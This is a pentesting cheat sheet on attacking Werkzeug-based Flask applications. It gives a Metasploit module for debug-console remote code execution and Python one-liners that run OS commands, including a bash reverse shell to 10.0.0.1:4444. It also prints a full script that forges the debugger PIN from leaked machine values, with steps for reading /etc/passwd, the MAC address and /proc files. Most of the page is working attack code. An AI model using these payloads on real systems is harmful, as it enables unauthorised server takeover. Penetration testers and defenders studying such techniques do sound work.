Werkzeug Pentesting
Last modified: 2024-01-18
Werkzeug is a comprehensive WSGI web application library that is commonly used for Flask web application.
SSTI
Please see Flask Jinja2 SSTI
Remote Code Execution (RCE) in Console
Metasploit
msfconsole
msf> use exploit/multi/http/werkzeug_debug_rce
Manual Exploitation
If we can access to /console
page, we may be able to execute RCE.
__import__('os').popen('whoami').read();
import os; print(os.popen("whoami").read())
# Reverse shell
__import__('os').popen('bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"').read()
Console PIN Exploit
Reference: https://www.daehee.com/werkzeug-console-pin-exploit/
Prepare the Python payload for getting the PIN code in the console
page.
# get_pin.py
import hashlib
from itertools import chain
probably_public_bits = [
'user',
'flask.app',
'Flask',
'/usr/local/lib/python3.5/dist-packages/flask/app.py'
]
private_bits = [
'279275995014060',
'd4e6cb65d59544f3331ea0425dc555a1'
]
h = hashlib.sha1() # or hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
As above, we need to set values in the probably_public_bits
and the private_bits
.
probably_public_bits = [
'user', # 1.
'flask.app', # 2.
'Flask', # 3.
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # 4.
]
private_bits = [
'279275995014060', # 5.
'd4e6cb65d59544f3331ea0425dc555a1' # 6.
]
- The username who starts the flask server. For example, we may find it in
/etc/passwd
. - The module name e.g.
flask.app
. - The application name e.g.
Flask
. (getattr(app, '__name__', getattr(app.__class__, '__name__'))
) - The absolute path for the
app.py
of the Flask in the Python packages. (getattr(mod, '__file__', None)
) - The MAC address of the current computer. We can get the value in the
/sys/class/net/<device_id>/address
. To get thedevice_id
, read theDevice
field in the/proc/net/arp
. Additionally, the address needs to be converted from hex to decimal. For example,12:34:56:78:9a:bc
→123456789abc
→20015998343868
. (str(uuid.getnode()), /sys/class/net/ens33/address
) - The machine ID. We can get the ID by reading
/etc/madhine-id
. Additionally, we need to concatenate it with the last value of the first line of/proc/self/cgroup
separated by/
(the value can be empty). For example,
# /proc/self/cgroup
15:name=systemd:/example.service
...
Assume the first line of the /proc/self/cgroup
is as above. We have to put the value (example.service
) after the machine ID as below:
# e.g. the machine ID is `0123456789abcdef0123456789abcdef`
0123456789abcdef0123456789abcdefexample.service